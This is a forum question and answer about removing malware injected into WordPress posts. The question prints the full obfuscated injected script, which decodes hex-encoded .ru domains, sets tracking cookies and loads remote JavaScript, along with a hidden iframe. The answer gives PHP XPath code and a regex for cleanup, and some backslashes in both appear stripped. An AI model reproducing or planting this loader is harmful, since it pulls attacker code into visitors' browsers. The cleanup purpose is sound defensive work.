Filter malware javascript from WordPress database

I have some problem with embbded malicious code in the worpdress posts. It looks like :

<script>// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("example.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
// ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe>

And I need to remove it directly from wp_posts.post_content table.
I suppose i need to perform some regular expression to select it from post_content row and replace it with mysql REPLACE function. I suppose i can do it with phpmyadmin or can write some phpcode to perform this action, but i still need this regular expression to select javascript code from database!

Read More

Ty in advance!

Related posts

1 comment

  1. Since you are using a PHP script, you can try using PHP DOMDocument and DOMXPath to get all occurrences of the malicious <script> and <iframe> nodes. Just use corresponding XPath to get the right tags with content, and remove the whole children from the DOM:

    $str = "<<YOUR HTML STRING>>";
    $dom = new DOMDocument;
    @$dom->loadHTML($str, LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);
     // OR @$dom->load($str);
    $xp = new DOMXPath($dom);
    $mal_scripts = $xp->query('//script[contains(text(), "window.a1336404323")]');
    $mal_iframes = $xp->query('//iframe[@id="a1996667054"]');
    foreach ($mal_scripts as $mal_script) {
       $mal_script->parentNode->removeChild($mal_script);
    }
    foreach ($mal_iframes as $mal_iframe) {
       $mal_iframe->parentNode->removeChild($mal_iframe);
    }
    echo @$dom->saveHTML();
    

    See IDEONE demo

    The regex to match the strings containing the malicious code can be similar to

    <script>s*//s*<![CDATA[s*window.a1336404323[sS*]*?</script>s*<iframe id="a1996667054"[^<>]*></iframe>
    

    Adjust as per your needs.

Comments are closed.